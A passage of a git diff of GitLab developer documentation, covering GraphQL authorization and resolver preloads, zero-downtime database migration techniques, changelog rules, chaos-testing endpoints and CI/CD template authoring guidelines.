we use it, any field that uses `BranchResolver` has the correct +value for `calls_gitaly:`. + ### Exposing permissions for a type To expose permissions the current user has on a resource, you can call @@ -750,113 +772,7 @@ argument :title, GraphQL::STRING_TYPE, ## Authorization -Authorizations can be applied to both types and fields using the same -abilities as in the Rails app. - -If the: - -- Currently authenticated user fails the authorization, the authorized - resource is returned as `null`. -- Resource is part of a collection, the collection is filtered to - exclude the objects that the user's authorization checks failed against. - -Also see [authorizing resources in a mutation](#authorizing-resources). - -NOTE: -Try to load only what the currently authenticated user is allowed to -view with our existing finders first, without relying on authorization -to filter the records. This minimizes database queries and unnecessary -authorization checks of the loaded records. - -### Type authorization - -Authorize a type by passing an ability to the `authorize` method. All -fields with the same type is authorized by checking that the -currently authenticated user has the required ability. - -For example, the following authorization ensures that the currently -authenticated user can only see projects that they have the -`read_project` ability for (so long as the project is returned in a -field that uses `Types::ProjectType`): - -```ruby -module Types - class ProjectType < BaseObject - authorize :read_project - end -end -``` - -You can also authorize against multiple abilities, in which case all of -the ability checks must pass. - -For example, the following authorization ensures that the currently -authenticated user must have `read_project` and `another_ability` -abilities to see a project: - -```ruby -module Types - class ProjectType < BaseObject - authorize [:read_project, :another_ability] - end -end -``` - -### Field authorization - -Fields can be authorized with the `authorize` option. - -For example, the following authorization ensures that the currently -authenticated user must have the `owner_access` ability to see the -project: - -```ruby -module Types - class MyType < BaseObject - field :project, Types::ProjectType, null: true, resolver: Resolvers::ProjectResolver, authorize: :owner_access - end -end -``` - -Fields can also be authorized against multiple abilities, in which case -all of ability checks must pass. This requires explicitly -passing a block to `field`: - -```ruby -module Types - class MyType < BaseObject - field :project, Types::ProjectType, null: true, resolver: Resolvers::ProjectResolver do - authorize [:owner_access, :another_ability] - end - end -end -``` - -If the field's type already [has a particular -authorization](#type-authorization) then there is no need to add that -same authorization to the field. - -### Type and Field authorizations together - -Authorizations are cumulative, so where authorizations are defined on -a field, and also on the field's type, then the currently authenticated -user would need to pass all ability checks. - -In the following simplified example the currently authenticated user -would need both `first_permission` and `second_permission` abilities in -order to see the author of the issue. - -```ruby -class UserType - authorize :first_permission -end -``` - -```ruby -class IssueType - field :author, UserType, authorize: :second_permission -end -``` +See: [GraphQL Authorization](graphql_guide/authorization.md) ## Resolvers @@ -1098,6 +1014,26 @@ class MyThingResolver < BaseResolver end ``` +By default, fields defined in `#preloads` will be preloaded if that field +is selected in the query. Occasionally, finer control may be +needed to avoid preloading too much or incorrect content. + +Extending the above example, we might want to preload a different +association if certain fields are requested together. This can +be done by overriding `#filtered_preloads`: + +```ruby +class MyThingResolver < BaseResolver + # ... + + def filtered_preloads + return [:alternate_attribute] if lookahead.selects?(:field_one) && lookahead.selects?(:field_two) + + super + end +end +``` + The final thing that is needed is that every field that uses this resolver needs to advertise the need for lookahead: @@ -1137,9 +1073,10 @@ When using resolvers, they can and should serve as the SSoT for field metadata. All field options (apart from the field name) can be declared on the resolver. These include: -- `type` (this is particularly important, and is planned to be mandatory) +- `type` (required - all resolvers must include a type annotation) - `extras` - `description` +- Gitaly annotations (with `calls_gitaly!`) Example: @@ -1149,6 +1086,7 @@ module Resolvers type Types::MyType, null: true extras [:lookahead] description 'Retrieve a single MyType' + calls_gitaly! end end ``` diff --git a/doc/development/application_limits.md b/doc/development/application_limits.md index c42e9224105..3c1c91e0d2e 100644 --- a/doc/development/application_limits.md +++ b/doc/development/application_limits.md @@ -43,8 +43,6 @@ It's recommended to create two separate migration script files. class InsertProjectHooksPlanLimits < ActiveRecord::Migration[5.2] include Gitlab::Database::MigrationHelpers - DOWNTIME = false - def up create_or_update_plan_limit('project_hooks', 'default', 0) create_or_update_plan_limit('project_hooks', 'free', 10) diff --git a/doc/development/application_secrets.md b/doc/development/application_secrets.md index 92b18f5ad78..06a38eb238a 100644 --- a/doc/development/application_secrets.md +++ b/doc/development/application_secrets.md @@ -15,7 +15,7 @@ This page is a development guide for application secrets. |`secret_key_base` | The base key to be used for generating a various secrets | | `otp_key_base` | The base key for One Time Passwords, described in [User management](../raketasks/user_management.md#rotate-two-factor-authentication-encryption-key) | |`db_key_base` | The base key to encrypt the data for `attr_encrypted` columns | -|`openid_connect_signing_key` | The singing key for OpenID Connect | +|`openid_connect_signing_key` | The signing key for OpenID Connect | | `encrypted_settings_key_base` | The base key to encrypt settings files with | ## Where the secrets are stored diff --git a/doc/development/avoiding_downtime_in_migrations.md b/doc/development/avoiding_downtime_in_migrations.md new file mode 100644 index 00000000000..d8981ce0999 --- /dev/null +++ b/doc/development/avoiding_downtime_in_migrations.md @@ -0,0 +1,415 @@ +--- +stage: Enablement +group: Database +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Avoiding downtime in migrations + +When working with a database certain operations may require downtime. Since we +cannot have downtime in migrations we need to use a set of steps to get the +same end result without downtime. This guide describes various operations that +may appear to need downtime, their impact, and how to perform them without +requiring downtime. + +## Dropping Columns + +Removing columns is tricky because running GitLab processes may still be using +the columns. To work around this safely, you will need three steps in three releases: + +1. Ignoring the column (release M) +1. Dropping the column (release M+1) +1. Removing the ignore rule (release M+2) + +The reason we spread this out across three releases is that dropping a column is +a destructive operation that can't be rolled back easily. + +Following this procedure helps us to make sure there are no deployments to GitLab.com +and upgrade processes for self-managed installations that lump together any of these steps. + +### Step 1: Ignoring the column (release M) + +The first step is to ignore the column in the application code. This is +necessary because Rails caches the columns and re-uses this cache in various +places. This can be done by defining the columns to ignore. For example, to ignore +`updated_at` in the User model you'd use the following: + +```ruby +class User < ApplicationRecord + include IgnorableColumns + ignore_column :updated_at, remove_with: '12.7', remove_after: '2020-01-22' +end +``` + +Multiple columns can be ignored, too: + +```ruby +ignore_columns %i[updated_at created_at], remove_with: '12.7', remove_after: '2020-01-22' +``` + +We require indication of when it is safe to remove the column ignore with: + +- `remove_with`: set to a GitLab release typically two releases (M+2) after adding the + column ignore. +- `remove_after`: set to a date after which we consider it safe to remove the column + ignore, typically after the M+1 release date, during the M+2 development cycle. + +This information allows us to reason better about column ignores and makes sure we +don't remove column ignores too early for both regular releases and deployments to GitLab.com. For +example, this avoids a situation where we deploy a bulk of changes that include both changes +to ignore the column and subsequently remove the column ignore (which would result in a downtime). + +In this example, the change to ignore the column went into release 12.5. + +### Step 2: Dropping the column (release M+1) + +Continuing our example, dropping the column goes into a _post-deployment_ migration in release 12.6: + +```ruby + remove_column :user, :updated_at +``` + +### Step 3: Removing the ignore rule (release M+2) + +With the next release, in this example 12.7, we set up another merge request to remove the ignore rule. +This removes the `ignore_column` line and - if not needed anymore - also the inclusion of `IgnoreableColumns`. + +This should only get merged with the release indicated with `remove_with` and once +the `remove_after` date has passed. + +## Renaming Columns + +Renaming columns the normal way requires downtime as an application may continue +using the old column name during/after a database migration. To rename a column +without requiring downtime we need two migrations: a regular migration, and a +post-deployment migration. Both these migration can go in the same release. + +### Step 1: Add The Regular Migration + +First we need to create the regular migration. This migration should use +`Gitlab::Database::MigrationHelpers#rename_column_concurrently` to perform the +renaming. For example + +```ruby +# A regular migration in db/migrate +class RenameUsersUpdatedAtToUpdatedAtTimestamp < ActiveRecord::Migration[4.2] + include Gitlab::Database::MigrationHelpers + + DOWNTIME = false + + disable_ddl_transaction! + + def up + rename_column_concurrently :users, :updated_at, :updated_at_timestamp + end + + def down + undo_rename_column_concurrently :users, :updated_at, :updated_at_timestamp + end +end +``` + +This will take care of renaming the column, ensuring data stays in sync, and +copying over indexes and foreign keys. + +If a column contains one or more indexes that don't contain the name of the +original column, the previously described procedure will fail. In that case, +you'll first need to rename these indexes. + +### Step 2: Add A Post-Deployment Migration + +The renaming procedure requires some cleaning up in a post-deployment migration. +We can perform this cleanup using +`Gitlab::Database::MigrationHelpers#cleanup_concurrent_column_rename`: + +```ruby +# A post-deployment migration in db/post_migrate +class CleanupUsersUpdatedAtRename < ActiveRecord::Migration[4.2] + include Gitlab::Database::MigrationHelpers + + disable_ddl_transaction! + + def up + cleanup_concurrent_column_rename :users, :updated_at, :updated_at_timestamp + end + + def down + undo_cleanup_concurrent_column_rename :users, :updated_at, :updated_at_timestamp + end +end +``` + +If you're renaming a [large table](https://gitlab.com/gitlab-org/gitlab/-/blob/master/rubocop/rubocop-migrations.yml#L3), please carefully consider the state when the first migration has run but the second cleanup migration hasn't been run yet. +With [Canary](https://gitlab.com/gitlab-com/gl-infra/readiness/-/tree/master/library/canary/) it is possible that the system runs in this state for a significant amount of time. + +## Changing Column Constraints + +Adding or removing a `NOT NULL` clause (or another constraint) can typically be +done without requiring downtime. However, this does require that any application +changes are deployed _first_. Thus, changing the constraints of a column should +happen in a post-deployment migration. + +Avoid using `change_column` as it produces an inefficient query because it re-defines +the whole column type. + +You can check the following guides for each specific use case: + +- [Adding foreign-key constraints](migration_style_guide.md#adding-foreign-key-constraints) +- [Adding `NOT NULL` constraints](database/not_null_constraints.md) +- [Adding limits to text columns](database/strings_and_the_text_data_type.md) + +## Changing Column Types + +Changing the type of a column can be done using +`Gitlab::Database::MigrationHelpers#change_column_type_concurrently`. This +method works similarly to `rename_column_concurrently`. For example, let's say +we want to change the type of `users.username` from `string` to `text`. + +### Step 1: Create A Regular Migration + +A regular migration is used to create a new column with a temporary name along +with setting up some triggers to keep data in sync. Such a migration would look +as follows: + +```ruby +# A regular migration in db/migrate +class ChangeUsersUsernameStringToText < ActiveRecord::Migration[4.2] + include Gitlab::Database::MigrationHelpers + + disable_ddl_transaction! + + def up + change_column_type_concurrently :users, :username, :text + end + + def down + undo_change_column_type_concurrently :users, :username + end +end +``` + +### Step 2: Create A Post Deployment Migration + +Next we need to clean up our changes using a post-deployment migration: + +```ruby +# A post-deployment migration in db/post_migrate +class ChangeUsersUsernameStringToTextCleanup < ActiveRecord::Migration[4.2] + include Gitlab::Database::MigrationHelpers + + disable_ddl_transaction! + + def up + cleanup_concurrent_column_type_change :users, :username + end + + def down + undo_cleanup_concurrent_column_type_change :users, :username, :string + end +end +``` + +And that's it, we're done! + +### Casting data to a new type + +Some type changes require casting data to a new type. For example when changing from `text` to `jsonb`. +In this case, use the `type_cast_function` option. +Make sure there is no bad data and the cast will always succeed. You can also provide a custom function that handles +casting errors. + +Example migration: + +```ruby + def up + change_column_type_concurrently :users, :settings, :jsonb, type_cast_function: 'jsonb' + end +``` + +## Changing The Schema For Large Tables + +While `change_column_type_concurrently` and `rename_column_concurrently` can be +used for changing the schema of a table without downtime, it doesn't work very +well for large tables. Because all of the work happens in sequence the migration +can take a very long time to complete, preventing a deployment from proceeding. +They can also produce a lot of pressure on the database due to it rapidly +updating many rows in sequence. + +To reduce database pressure you should instead use +`change_column_type_using_background_migration` or `rename_column_using_background_migration` +when migrating a column in a large table (e.g. `issues`). These methods work +similarly to the concurrent counterparts but uses background migration to spread +the work / load over a longer time period, without slowing down deployments. + +For example, to change the column type using a background migration: + +```ruby +class ExampleMigration < ActiveRecord::Migration[4.2] + include Gitlab::Database::MigrationHelpers + + disable_ddl_transaction! + + class Issue < ActiveRecord::Base + self.table_name = 'issues' + + include EachBatch + + def self.to_migrate + where('closed_at IS NOT NULL') + end + end + + def up + change_column_type_using_background_migration( + Issue.to_migrate, + :closed_at, + :datetime_with_timezone + ) + end + + def down + change_column_type_using_background_migration( + Issue.to_migrate, + :closed_at, + :datetime + ) + end +end +``` + +This would change the type of `issues.closed_at` to `timestamp with time zone`. + +Keep in mind that the relation passed to +`change_column_type_using_background_migration` _must_ include `EachBatch`, +otherwise it will raise a `TypeError`. + +This migration then needs to be followed in a separate release (_not_ a patch +release) by a cleanup migration, which should steal from the queue and handle +any remaining rows. For example: + +```ruby +class MigrateRemainingIssuesClosedAt < ActiveRecord::Migration[4.2] + include Gitlab::Database::MigrationHelpers + + DOWNTIME = false + + disable_ddl_transaction! + + class Issue < ActiveRecord::Base + self.table_name = 'issues' + include EachBatch + end + + def up + Gitlab::BackgroundMigration.steal('CopyColumn') + Gitlab::BackgroundMigration.steal('CleanupConcurrentTypeChange') + + migrate_remaining_rows if migrate_column_type? + end + + def down + # Previous migrations already revert the changes made here. + end + + def migrate_remaining_rows + Issue.where('closed_at_for_type_change IS NULL AND closed_at IS NOT NULL').each_batch do |batch| + batch.update_all('closed_at_for_type_change = closed_at') + end + + cleanup_concurrent_column_type_change(:issues, :closed_at) + end + + def migrate_column_type? + # Some environments may have already executed the previous version of this + # migration, thus we don't need to migrate those environments again. + column_for('issues', 'closed_at').type == :datetime # rubocop:disable Migration/Datetime + end +end +``` + +The same applies to `rename_column_using_background_migration`: + +1. Create a migration using the helper, which will schedule background + migrations to spread the writes over a longer period of time. +1. In the next monthly release, create a clean-up migration to steal from the + Sidekiq queues, migrate any missing rows, and cleanup the rename. This + migration should skip the steps after stealing from the Sidekiq queues if the + column has already been renamed. + +For more information, see [the documentation on cleaning up background +migrations](background_migrations.md#cleaning-up). + +## Adding Indexes + +Adding indexes does not require downtime when `add_concurrent_index` +is used. + +See also [Migration Style Guide](migration_style_guide.md#adding-indexes) +for more information. + +## Dropping Indexes + +Dropping an index does not require downtime. + +## Adding Tables + +This operation is safe as there's no code using the table just yet. + +## Dropping Tables + +Dropping tables can be done safely using a post-deployment migration, but only +if the application no longer uses the table. + +## Renaming Tables + +Renaming tables requires downtime as an application may continue +using the old table name during/after a database migration. + +## Adding Foreign Keys + +Adding foreign keys usually works in 3 steps: + +1. Start a transaction +1. Run `ALTER TABLE` to add the constraint(s) +1. Check all existing data + +Because `ALTER TABLE` typically acquires an exclusive lock until the end of a +transaction this means this approach would require downtime. + +GitLab allows you to work around this by using +`Gitlab::Database::MigrationHelpers#add_concurrent_foreign_key`. This method +ensures that no downtime is needed. + +## Removing Foreign Keys + +This operation does not require downtime. + +## Data Migrations + +Data migrations can be tricky. The usual approach to migrate data is to take a 3 +step approach: + +1. Migrate the initial batch of data +1. Deploy the application code +1. Migrate any remaining data + +Usually this works, but not always. For example, if a field's format is to be +changed from JSON to something else we have a bit of a problem. If we were to +change existing data before deploying application code we'll most likely run +into errors. On the other hand, if we were to migrate after deploying the +application code we could run into the same problems. + +If you merely need to correct some invalid data, then a post-deployment +migration is usually enough. If you need to change the format of data (e.g. from +JSON to something else) it's typically best to add a new column for the new data +format, and have the application use that. In such a case the procedure would +be: + +1. Add a new column in the new format +1. Copy over existing data to this new column +1. Deploy the application code +1. In a post-deployment migration, copy over any remaining data + +In general there is no one-size-fits-all solution, therefore it's best to +discuss these kind of migrations in a merge request to make sure they are +implemented in the best way possible. diff --git a/doc/development/background_migrations.md b/doc/development/background_migrations.md index 3ef5bf382b8..a96606719d0 100644 --- a/doc/development/background_migrations.md +++ b/doc/development/background_migrations.md @@ -142,6 +142,14 @@ migration performing the scheduling. Otherwise the background migration would be scheduled multiple times on systems that are upgrading multiple patch releases at once. +When you start the second post-deployment migration, you should delete any +previously queued jobs from the initial migration with the provided +helper: + +```ruby +delete_queued_jobs('BackgroundMigrationClassName') +``` + ## Cleaning Up NOTE: diff --git a/doc/development/bulk_import.md b/doc/development/bulk_import.md index 40e4af923ea..e70880635e6 100644 --- a/doc/development/bulk_import.md +++ b/doc/development/bulk_import.md @@ -42,7 +42,7 @@ step to generate the file to be imported. GitLab Group migration leverages on [GitLab API](../api/README.md) to speed the migration. -And, because we're on the road to [GraphQL](../api/README.md#road-to-graphql), +And, because we're on the road to [GraphQL](../api/README.md#graphql-api), GitLab Group Migration will be contributing towards to expand the GraphQL API coverage, which benefits both GitLab and its users. diff --git a/doc/development/changelog.md b/doc/development/changelog.md index 98a3e75bb3c..ee80d998c14 100644 --- a/doc/development/changelog.md +++ b/doc/development/changelog.md @@ -46,18 +46,18 @@ the `author` field. GitLab team members **should not**. and with `type` set to `security`. - Any user-facing change **must** have a changelog entry. This includes both visual changes (regardless of how minor), and changes to the rendered DOM which impact how a screen reader may announce the content. - Any client-facing change to our REST and GraphQL APIs **must** have a changelog entry. See the [complete list what comprises a GraphQL breaking change](api_graphql_styleguide.md#breaking-changes). +- Any change that introduces an [Advanced Search migration](elasticsearch.md#creating-a-new-advanced-search-migration) **must** have a changelog entry. - Performance improvements **should** have a changelog entry. -- Changes that need to be documented in the Product Intelligence [Event Dictionary](https://about.gitlab.com/handbook/product/product-intelligence-guide/#event-dictionary) also require a changelog entry. - _Any_ contribution from a community member, no matter how small, **may** have a changelog entry regardless of these guidelines if the contributor wants one. Example: "Fixed a typo on the search results page." - Any docs-only changes **should not** have a changelog entry. -- Any change behind a disabled feature flag **should not** have a changelog entry. -- Any change behind an enabled feature flag **should** have a changelog entry. -- Any change that adds new usage data metrics and changes that needs to be documented in Product Intelligence [Event Dictionary](https://about.gitlab.com/handbook/product/product-intelligence-guide/#event-dictionary) **should** have a changelog entry. +- Any change behind a feature flag **disabled** by default **should not** have a changelog entry. +- Any change behind a feature flag that is **enabled** by default **should** have a changelog entry. +- Any change that adds new Usage Data metrics and changes that needs to be documented in Product Intelligence [Metrics Dictionary](usage_ping/dictionary.md) **should** have a changelog entry. - A change that adds snowplow events **should** have a changelog entry - -- A change that [removes a feature flag](feature_flags/index.md) **must** have a changelog entry. +- A change that [removes a feature flag, or removes a feature and its feature flag](feature_flags/index.md) **must** have a changelog entry. - A fix for a regression introduced and then fixed in the same release (i.e., fixing a bug introduced during a monthly release candidate) **should not** have a changelog entry. diff --git a/doc/development/chaos_endpoints.md b/doc/development/chaos_endpoints.md index 85c93f521ac..56e91acbc4a 100644 --- a/doc/development/chaos_endpoints.md +++ b/doc/development/chaos_endpoints.md @@ -146,10 +146,10 @@ curl "http://localhost:3000/-/chaos/sleep?duration_s=60&token=secret" ## Kill -This endpoint simulates the unexpected death of a worker process using a `kill` signal. +This endpoint simulates the unexpected death of a worker process using the `KILL` signal. -Because this endpoint uses the `KILL` signal, the worker isn't given an -opportunity to cleanup or shutdown. +Because this endpoint uses the `KILL` signal, the process isn't given an +opportunity to clean up or shut down. ```plaintext GET /-/chaos/kill @@ -158,13 +158,33 @@ GET /-/chaos/kill?async=true | Attribute | Type | Required | Description | | ------------ | ------- | -------- | ---------------------------------------------------------------------- | -| `async` | boolean | no | Set to true to kill a Sidekiq background worker process | +| `async` | boolean | no | Set to true to signal a Sidekiq background worker process | ```shell curl "http://localhost:3000/-/chaos/kill" --header 'X-Chaos-Secret: secret' curl "http://localhost:3000/-/chaos/kill?token=secret" ``` +## Quit + +This endpoint simulates the unexpected death of a worker process using the `QUIT` signal. +Unlike `KILL`, the `QUIT` signal will also attempt to write a core dump. +See [core(5)](https://man7.org/linux/man-pages/man5/core.5.html) for more information. + +```plaintext +GET /-/chaos/quit +GET /-/chaos/quit?async=true +``` + +| Attribute | Type | Required | Description | +| ------------ | ------- | -------- | ---------------------------------------------------------------------- | +| `async` | boolean | no | Set to true to signal a Sidekiq background worker process | + +```shell +curl "http://localhost:3000/-/chaos/quit" --header 'X-Chaos-Secret: secret' +curl "http://localhost:3000/-/chaos/quit?token=secret" +``` + ## Run garbage collector This endpoint triggers a GC run on the worker handling the request and returns its worker ID diff --git a/doc/development/cicd/index.md b/doc/development/cicd/index.md index eb2224d710a..35c4cc0694e 100644 --- a/doc/development/cicd/index.md +++ b/doc/development/cicd/index.md @@ -23,7 +23,7 @@ On the left side we have the events that can trigger a pipeline based on various - A `git push` is the most common event that triggers a pipeline. - The [Web API](../../api/pipelines.md#create-a-new-pipeline). -- A user clicking the "Run Pipeline" button in the UI. +- A user clicking the "Run pipeline" button in the UI. - When a [merge request is created or updated](../../ci/merge_request_pipelines/index.md#pipelines-for-merge-requests). - When an MR is added to a [Merge Train](../../ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md#merge-trains). - A [scheduled pipeline](../../ci/pipelines/schedules.md#pipeline-schedules). @@ -182,3 +182,17 @@ Watch a walkthrough of this feature in details in the video below. <figure class="video-container"> <iframe src="https://www.youtube.com/embed/NmdWRGT8kZg" frameborder="0" allowfullscreen="true"> </iframe> </figure> + +## External pipeline validation service + +The [external CI/CD pipeline validation service](../../administration/external_pipeline_validation.md) +is available for use on self-managed GitLab instances, but is not in use on GitLab.com. +It is configured with [environment variables](../../administration/environment_variables.md) +on the instance. + +To enable the feature on GitLab.com, enable the `ci_external_validation_service` +[feature flag](../feature_flags/index.md). The valid "Not accepted" response code +for GitLab.com is `406` only. + +For more details, see the linked issues and MRs in the +[feature flag rollout issue](https://gitlab.com/gitlab-org/gitlab/-/issues/325982). diff --git a/doc/development/cicd/templates.md b/doc/development/cicd/templates.md index ed0d217c247..fd1456a1676 100644 --- a/doc/development/cicd/templates.md +++ b/doc/development/cicd/templates.md @@ -1,6 +1,6 @@ --- -stage: Release -group: Release +stage: Verify +group: Pipeline Authoring info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: index, concepts, howto --- @@ -9,27 +9,214 @@ type: index, concepts, howto This document explains how to develop [GitLab CI/CD templates](../../ci/examples/README.md). -## Place the template file in a relevant directory +## Requirements for CI/CD templates + +Before submitting a merge request with a new or updated CI/CD template, you must: + +- Place the template in the correct [directory](#template-directories). +- Follow the [CI/CD template authoring guidelines](#template-authoring-guidelines). +- Name the template following the `*.gitlab-ci.yml` format. +- Use valid [`.gitlab-ci.yml` syntax](../../ci/yaml/README.md). Verify it's valid + with the [CI/CD lint tool](../../ci/lint.md). +- Include [a changelog](../changelog.md) if the merge request introduces a user-facing change. +- Follow the [template review process](#contribute-cicd-template-merge-requests). +- (Optional but highly recommended) Test the template in an example GitLab project + that reviewers can access. Reviewers might not be able to create the data or configuration + that the template requires, so an example project helps the reviewers ensure the + template is correct. The example project pipeline should succeed before submitting + the merge request for review. + +## Template directories + +All template files are saved in `lib/gitlab/ci/templates`. Save general templates +in this directory, but certain template types have a specific directory reserved for +them. The ability to [select a template in new file UI](#make-sure-the-new-template-can-be-selected-in-ui) +is determined by the directory it is in: + +| Sub-directory | Selectable in UI | Template type | +|----------------|------------------|---------------| +| `/*` (root) | Yes | General templates. | +| `/AWS/*` | No | Templates related to Cloud Deployment (AWS). | +| `/Jobs/*` | No | Templates related to Auto DevOps. | +| `/Pages/*` | Yes | Sample templates for using Static site generators with GitLab Pages. | +| `/Security/*` | Yes | Templates related to Security scanners. | +| `/Terraform/*` | No | Templates related to infrastructure as Code (Terraform). | +| `/Verify/*` | Yes | Templates related to Testing features. | +| `/Workflows/*` | No | Sample templates for using the `workflow:` keyword. | + +## Template authoring guidelines + +Use the following guidelines to ensure your template submission follows standards: + +### Template types + +Templates have two different types that impact the way the template should be written +and used. The style in a template should match one of these two types: + +A **pipeline template** provides an end-to-end CI/CD workflow that matches a project's +structure, language, and so on. It usually should be used by itself in projects that +don't have any other `.gitlab-ci.yml` files. + +When authoring pipeline templates: + +- Place any [global keywords](../../ci/yaml/README.md#global-keywords) like `image` + or `before_script` in a [`default`](../../ci/yaml/README.md#custom-default-keyword-values) + section at the top of the template. +- Note clearly in the [code comments](#explain-the-template-with-comments) if the + template is designed to be used with the `includes` keyword in an existing + `.gitlab-ci.yml` file or not. + +A **job template** provides specific jobs that can be added to an existing CI/CD +workflow to accomplish specific tasks. It usually should be used by adding it to +an existing `.gitlab-ci.yml` file by using the [`includes`](../../ci/yaml/README.md#global-keywords) +keyword. You can also copy and paste the contents into an existing `.gitlab-ci.yml` file. + +Configure job templates so that users can add them to their current pipeline with very +few or no modifications. It must be configured to reduce the risk of conflicting with +other pipeline configuration. + +When authoring job templates: + +- Do not use [global](../../ci/yaml/README.md#global-keywords) or [`default`](../../ci/yaml/README.md#custom-default-keyword-values) + keywords. When a root `.gitlab-ci.yml` includes a template, global or default keywords + might be overridden and cause unexpected behavior. If a job template requires a + specific stage, explain in the code comments that users must manually add the stage + to the main `.gitlab-ci.yml` configuration. +- Note clearly in [code comments](#explain-the-template-with-comments) that the template + is designed to be used with the `includes` keyword or copied into an existing configuration. +- Consider [versioning](#versioning) the template with latest and stable versions + to avoid [backward compatibility](#backward-compatibility) problems. + Maintenance of this type of template is more complex, because changes to templates + imported with `includes` can break pipelines for all projects using the template. + +Additional points to keep in mind when authoring templates: + +| Template design points | Pipeline templates | Job templates | +|------------------------------------------------------|--------------------|---------------| +| Can use global keywords, including `stages`. | Yes | No | +| Can define jobs. | Yes | Yes | +| Can be selected in the new file UI | Yes | Yes | +| Can include other job templates with `include` | Yes | No | +| Can include other pipeline templates with `include`. | No | No | + +### Syntax guidelines + +To make templates easier to follow, templates should all use clear syntax styles, +with a consistent format. + +#### Do not hardcode the default branch + +Use [`$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH`](../../ci/variables/predefined_variables.md) +instead of a hardcoded `main` branch, and never use `master`: -All template files reside in the `lib/gitlab/ci/templates` directory, and are categorized by the following sub-directories: +```yaml +job1: + rules: + if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH + script: + echo "example job 1" + +job2: + only: + variables: + - $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH + script: + echo "example job 2" + +``` + +#### Use `rules` instead of `only` or `except` + +Avoid using [`only` or `except`](../../ci/yaml/README.md#onlyexcept-basic) if possible. +Only and except is not being developed any more, and [`rules`](../../ci/yaml/README.md#rules) +is now the preferred syntax: + +```yaml +job2: + script: + - echo + rules: + - if: $CI_COMMIT_BRANCH +``` + +#### Break up long commands + +If a command is very long, or has many command line flags, like `-o` or `--option`: + +- Split these up into a multi-line command to make it easier to see every part of the command. +- Use the long name for the flags, when available. + +For example, with a long command with short CLI flags like +`docker run --e SOURCE_CODE="$PWD" -v "$PWD":/code -v /var/run/docker.sock:/var/run/docker.sock "$CODE_QUALITY_IMAGE" /code`: + +```yaml +job1: + script: + - docker run + --env SOURCE_CODE="$PWD" + --volume "$PWD":/code + --volume /var/run/docker.sock:/var/run/docker.sock + "$CODE_QUALITY_IMAGE" /code +``` -| Sub-directory | Content | [Selectable in UI](#make-sure-the-new-template-can-be-selected-in-ui) | -|----------------|----------------------------------------------------|-----------------------------------------------------------------------| -| `/AWS/*` | Cloud Deployment (AWS) related jobs | No | -| `/Jobs/*` | Auto DevOps related jobs | No | -| `/Pages/*` | Static site generators for GitLab Pages (for example Jekyll) | Yes | -| `/Security/*` | Security related jobs | Yes | -| `/Terraform/*` | Infrastructure as Code related templates | No | -| `/Verify/*` | Verify/testing related jobs | Yes | -| `/Workflows/*` | Common uses of the `workflow:` keyword | No | -| `/*` (root) | General templates | Yes | +You can also use the `|` and `>` YAML operators to [split up multi-line commands](../../ci/yaml/script.md#split-long-commands). -## Criteria +### Explain the template with comments -The file must follow the [`.gitlab-ci.yml` syntax](../../ci/yaml/README.md). -Verify it's valid by pasting it into the CI lint tool at `https://gitlab.com/gitlab-org/gitlab/-/ci/lint`. +You can access template contents from the new file menu, and this might be the only +place users see information about the template. It's important to clearly document +the behavior of the template directly in the template itself. -Also, all templates must be named with the `*.gitlab-ci.yml` suffix. +The following guidelines cover the basic comments expected in all template submissions. +Add additional comments as needed if you think the comments can help users or +[template reviewers](#contribute-cicd-template-merge-requests). + +#### Explain requirements and expectations + +Give the details on how to use the template in `#` comments at the top of the file. +This includes: + +- Repository/project requirements. +- Expected behavior. +- Any places that need to be edited by users before using the template. +- If the template should be used by copy pasting it into a configuration file, or + by using it with the `include` keyword in an existing pipeline. +- If any variables need to be saved in the project's CI/CD settings. + +```yaml +# Use this template to publish an application that uses the ABC server. +# You can copy and paste this template into a new `.gitlab-ci.yml` file. +# You should not add this template to an existing `.gitlab-ci.yml` file by using the `include:` keyword. +# +# Requirements: +# - An ABC project with content saved in /content and tests in /test +# - A CI/CD variable named ABC-PASSWORD saved in the project CI/CD settings. The value +# should be the password used to deploy to your ABC server. +# - An ABC server configured to listen on port 12345. +# +# You must change the URL on line 123 to point to your ABC server and port. +# +# For more information, see https://gitlab.com/example/abcserver/README.md + +job1: + ... +``` + +#### Explain how variables affect template behavior + +If the template uses variables, explain them in `#` comments where they are first +defined. You can skip the comment when the variable is trivially clear: + +```yaml +variables: # Good to have a comment here, for example: + TEST_CODE_PATH: <path/to/code> # Update this variable with the relative path to your Ruby specs + +job1: + variables: + ERROR_MESSAGE: "The $TEST_CODE_PATH path is invalid" # (No need for a comment here, it's already clear) + script: + - echo ${ERROR_MESSAGE} +``` ### Backward compatibility @@ -65,18 +252,6 @@ users have to fix their `.gitlab-ci.yml` that could annoy their workflow. Please read [versioning](#versioning) section for introducing breaking change safely. -### Best practices - -- Avoid using [global keywords](../../ci/yaml/README.md#global-keywords), - such as `image`, `stages` and `variables` at top-level. - When a root `.gitlab-ci.yml` [includes](../../ci/yaml/README.md#include) - multiple templates, these global keywords could be overridden by the - others and cause an unexpected behavior. -- Include [a changelog](../changelog.md) if your merge request introduces a user-facing change. -- Use [`$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH`](../../ci/variables/predefined_variables.md) - instead of a hardcoded `main` branch, and never use `master`. -- Use [`rules`](../../ci/yaml/README.md#rules) instead of [`only` or `except`](../../ci/yaml/README.md#onlyexcept-basic), if possible. - ## Versioning Versioning allows you to introduce a new template without modifying the existing @@ -135,7 +310,7 @@ include: ### Further reading There is an [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/17716) about -introducing versioning concepts in GitLab CI Templates. You can check that issue to +introducing versioning concepts in GitLab CI/CD templates. You can check that issue to follow the progress. ## Testing @@ -157,7 +332,7 @@ This is useful information for reviewers to make sure the template is safe to be ### Make sure the new template can be selected in UI -Templates located under some directories are also [selectable in the **New file** UI](#place-the-template-file-in-a-relevant-directory). +Templates located under some directories are also [selectable in the **New file** UI](#template-directories). When you add a template into one of those directories, make sure that it correctly appears in the dropdown:  @@ -187,6 +362,10 @@ A template could contain malicious code. For example, a template that contains t might accidentally expose secret project CI/CD variables in a job log. If you're unsure if it's secure or not, you need 